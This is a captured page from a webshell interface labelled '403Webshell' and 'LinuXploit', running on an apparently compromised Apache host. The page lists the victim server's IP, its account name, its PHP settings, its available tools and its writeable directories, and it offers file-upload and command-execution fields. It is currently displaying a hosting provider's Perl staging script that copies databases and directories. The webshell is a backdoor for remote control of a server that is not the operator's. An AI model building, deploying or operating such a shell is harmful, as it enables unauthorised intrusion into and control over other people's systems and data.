403Webshell
Server IP : 217.160.0.251  /  Your IP : 216.73.216.128
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : u94981163 ( 8991765)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/susshi/exec/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/susshi/exec/stage-create
#!/usr/bin/perl

use warnings;
use strict;

use lib '/usr/lib/susshi/exec';
use Susshi;

use IPC::Run qw( run timeout harness );

my ($dump, $filter, $import, $db_src, $db_dst);

my $susshi  = Susshi->new ( -read_input => 1 );
if ($db_src  = $susshi->get_database('sourcedatabase')) {
    $db_dst  = $susshi->get_database('targetdatabase', -mandatory => 1);
}

if ($db_src && $db_dst) {
    my $tables;

    eval {
        (undef, $tables) = $db_dst->get_tables();
        # Delete tables in target DB (see SHAHOLIN-5440)
        $db_dst->drop_tables( $tables );

        (undef, $tables)    = $db_src->get_tables();
    };

    if ($@) {
        my $status = ($@ =~ /^Access denied/) ? 25 : 255;
        error_die "Cannot get tables: $@", $status;
    }

    $dump = [ 'mysqldump', '--skip-add-drop-table' ];
    push @$dump, $db_src->get_mysql_args;
    push @$dump, @$tables;
    # Sanitize DEFINER to make unprivileged import work (ITOSHL-26999)
    my $definer_re = sprintf('DEFINER\s*=\s*`%s`@\S+', $db_src->{username}); # include source username
    $filter = [ 'sed', '-E', 's%^(/\*\![0-9]+\s+)' . $definer_re . '(\s+.*\*/)$%\1DEFINER=CURRENT_USER\2%' ];
    $import = [ 'mysql' ];
    push @$import, $db_dst->get_mysql_args;
}

my $dir_src = $susshi->get_directory('sourcedirectory', -mandatory => 1, -must_exist => 1);
my $dir_dst = $susshi->get_directory('targetdirectory', -mandatory => 1);

# Remove target in file system (SHAHOLIN-5440)
if (-e $dir_dst) {
    info "Removing content of $dir_dst";
    run ['rm', '-rf', $dir_dst] or error_die "Could not remove $dir_dst";
}

my $rsync = ['rsync', '-rt', "$dir_src/", "$dir_dst/"];

eval {
    my $err;
    if (defined $dump) {
        $err='';
        my $h=harness $dump, '|', $filter, '|', $import, '2>', \$err, timeout (3600);
        $h->run or die $err;
    }

    $err='';
    run $rsync, '2>', \$err, timeout (3600) or die $err;
};
error_die "Could not copy data: $@" if $@;

info "Created stage";

exit 0;

Youez - 2016 - github.com/yon3zu
LinuXploit